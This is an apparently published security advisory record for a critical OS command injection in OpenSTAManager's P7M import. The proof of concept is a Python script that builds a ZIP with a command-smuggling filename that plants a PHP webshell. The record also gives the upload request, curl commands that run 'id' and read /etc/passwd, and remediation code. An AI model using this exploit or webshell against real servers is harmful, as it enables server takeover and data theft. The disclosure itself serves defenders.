{"id":"GHSA-25fp-8w8p-mx36","summary":"OpenSTAManager has an OS Command Injection in P7M File Processing","details":"## Summary\nA critical OS Command Injection vulnerability exists in the P7M (signed XML) file decoding functionality. An authenticated attacker can upload a ZIP file containing a .p7m file with a malicious filename to execute arbitrary system commands on the server.\n\n\n## Vulnerable Code\n**File:** `src/Util/XML.php:100`\n\n```php\npublic static function decodeP7M($file)\n{\n    $directory = pathinfo($file, PATHINFO_DIRNAME);\n    $content = file_get_contents($file);\n\n    $output_file = $directory.'/'.basename($file, '.p7m');\n\n    try {\n        if (function_exists('exec')) {\n            // VULNERABLE - No input sanitization!\n            exec('openssl smime -verify -noverify -in \"'.$file.'\" -inform DER -out \"'.$output_file.'\"', $output, $cmd);\n```\n\n**The Problem:**\n- The `$file` parameter is passed directly into `exec()` without sanitization\n- Although wrapped in double quotes, an attacker can escape them\n- The filename comes from uploaded ZIP archives (user-controlled)\n\n## Attack Vector\n\n### Entry Points:\n1. **plugins/importFE_ZIP/actions.php:126** (when automatic import is enabled)\n   ```php\n   foreach ($files_xml as $xml) {\n       if (string_ends_with($xml, '.p7m')) {\n           $file = XML::decodeP7M($directory.'/'.$xml);  // $xml from ZIP!\n   ```\n\n2. **plugins/importFE/src/FatturaElettronica.php:56** (constructor)\n   ```php\n   if (string_ends_with($name, '.p7m')) {\n       $file = XML::decodeP7M($this-\u003efile);  // $name from user input!\n   ```\n\n### Attack Flow:\n1. Attacker creates ZIP with malicious filename\n2. Upload ZIP via importFE_ZIP plugin\n3. Application extracts ZIP and iterates files\n4. For `.p7m` files, `decodeP7M()` is called\n5. Malicious filename is injected into `exec()` command\n6. Arbitrary command executes as web server user\n\n## Proof of Concept\n\n**⚠️ IMPORTANT NOTE:** PHP's `ZipArchive::extractTo()` splits filenames on `/` character. Payload must NOT contain `/` in commands. Use `cd directory && command` instead of absolute paths.\n\n### Step 1: Create Malicious ZIP\n\n```python\nimport zipfile\n\ncmd = \"cd files && echo '\u003c?php system($_GET[\\\"c\\\"]); ?\u003e' \u003e SHELL.php\"\nmalicious_filename = f'invoice.p7m\";{cmd};echo \".p7m'\n\nwith zipfile.ZipFile('exploit.zip', 'w') as zf:\n    zf.writestr(malicious_filename, b\"DUMMY_P7M_CONTENT\")\n```\n\n### Step 2: Upload ZIP\n\n```http\nPOST /actions.php HTTP/1.1\nHost: localhost:8081\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc\nCookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b\n\n------WebKitFormBoundaryBKunENXxjEx5VrRc\nContent-Disposition: form-data; name=\"blob1\"; filename=\"exploit.zip\"\nContent-Type: application/zip\n\n[ZIP CONTENT]\n------WebKitFormBoundaryBKunENXxjEx5VrRc--\nContent-Disposition: form-data; name=\"op\"\n\nsave\n\n------WebKitFormBoundaryBKunENXxjEx5VrRc\nContent-Disposition: form-data; name=\"id_module\"\n\n14\n------WebKitFormBoundaryBKunENXxjEx5VrRc\nContent-Disposition: form-data; name=\"id_plugin\"\n\n48\n------WebKitFormBoundaryBKunENXxjEx5VrRc--\n```\n\u003cimg width=\"2539\" height=\"809\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f39cf6ad-9e8d-41de-866e-e01ec2064fd1\" /\u003e\n\n\u003cimg width=\"1543\" height=\"659\" alt=\"image\" src=\"https://github.com/user-attachments/assets/41fbd038-0bce-4b1c-bdc3-8ddcf3bf13be\" /\u003e\n\n### Step 3: Exploitation Result\n\n**Response (500 error is expected - XML parsing fails AFTER command execution):**\n```http\nHTTP/1.1 500 Internal Server Error\n{\"error\":{\"type\":\"Exception\",\"message\":\"Start tag expected, '\u003c' not found\"}}\n```\n\n**Verification - Webshell Created:**\n\n\u003cimg width=\"1111\" height=\"239\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d2e36cf3-c438-4509-be46-36d5c6f3e0d1\" /\u003e\n\n### Step 4: Remote Code Execution\n\n**Webshell is publicly accessible without authentication:**\n\n```bash\n$ curl \"http://localhost:8081/files/SHELL.php?c=id\"\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n\n$ curl \"http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd\"\n[Full /etc/passwd output]\n```\n\u003cimg width=\"698\" height=\"475\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7ee4630b-95a8-450c-bdce-d6f703c8168d\" /\u003e\n\n\n## Impact\n\n- **Remote Code Execution:** Full server compromise\n- **Data Exfiltration:** Access to all application data and database\n- **Privilege Escalation:** Potential escalation if web server runs with elevated privileges\n- **Persistence:** Install backdoors and maintain access\n- **Lateral Movement:** Pivot to other systems on the network\n\n## Prerequisites\n\n- Authenticated user with access to invoice import functionality\n\n## Remediation\n\n###  Input Sanitization\n\n```php\npublic static function decodeP7M($file)\n{\n    // Validate that file path doesn't contain shell metacharacters\n    if (preg_match('/[;&|`$(){}\\\\[\\\\]\u003c\u003e]/', $file)) {\n        throw new \\Exception('Invalid file path');\n    }\n\n    // Better: use escapeshellarg()\n    $safe_file = escapeshellarg($file);\n    $safe_output = escapeshellarg($output_file);\n\n    exec(\"openssl smime -verify -noverify -in $safe_file -inform DER -out $safe_output\", $output, $cmd);\n}\n```\nor\n\n### Validate Filename Before Processing\n\n```php\n// In the upload handler, validate filenames from ZIP\nforeach ($files_xml as $xml) {\n    // Only allow alphanumeric, dots, dashes, underscores\n    if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {\n        continue; // Skip invalid filenames\n    }\n\n    if (string_ends_with($xml, '.p7m')) {\n        $file = XML::decodeP7M($directory.'/'.$xml);\n    }\n}\n```\n\n\n## Credit\nDiscovered by: Łukasz Rybak","aliases":["CVE-2025-69212"],"modified":"2026-02-22T23:20:53.007662Z","published":"2026-02-06T17:59:37Z","database_specific":{"nvd_published_at":"2026-02-06T19:16:07Z","cwe_ids":["CWE-78"],"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-02-06T17:59:37Z"},"references":[{"type":"WEB","url":"https://github.com/devcode-it/openstamanager/security/advisories/GHSA-25fp-8w8p-mx36"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69212"},{"type":"PACKAGE","url":"https://github.com/devcode-it/openstamanager"}],"affected":[{"package":{"name":"devcode-it/openstamanager","ecosystem":"Packagist","purl":"pkg:composer/devcode-it/openstamanager"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.9.8"}]}],"versions":["2.3.0","v2.4","v2.4.1","v2.4.10","v2.4.11","v2.4.12","v2.4.13","v2.4.14","v2.4.15","v2.4.16","v2.4.17","v2.4.17.1","v2.4.18","v2.4.19","v2.4.2","v2.4.20","v2.4.21","v2.4.22","v2.4.23","v2.4.24","v2.4.25","v2.4.26","v2.4.27","v2.4.28","v2.4.29","v2.4.3","v2.4.30","v2.4.31","v2.4.32","v2.4.33","v2.4.34","v2.4.35","v2.4.36","v2.4.37","v2.4.38","v2.4.39","v2.4.4","v2.4.40","v2.4.41","v2.4.42","v2.4.43","v2.4.44","v2.4.45","v2.4.46","v2.4.47","v2.4.48","v2.4.49","v2.4.5","v2.4.50","v2.4.51","v2.4.52","v2.4.53","v2.4.54","v2.4.6","v2.4.7","v2.4.8","v2.4.9","v2.5","v2.5.1-beta","v2.5.2-beta","v2.5.3","v2.5.4","v2.5.5","v2.5.6","v2.5.7","v2.6-beta","v2.6.1","v2.6.2","v2.7","v2.7-beta","v2.7.1","v2.7.2","v2.7.3","v2.8-beta","v2.8.1","v2.8.2","v2.8.3","v2.9","v2.9-beta","v2.9.1","v2.9.2","v2.9.3","v2.9.4","v2.9.5","v2.9.6","v2.9.7","v2.9.8"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-25fp-8w8p-mx36/GHSA-25fp-8w8p-mx36.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"}]}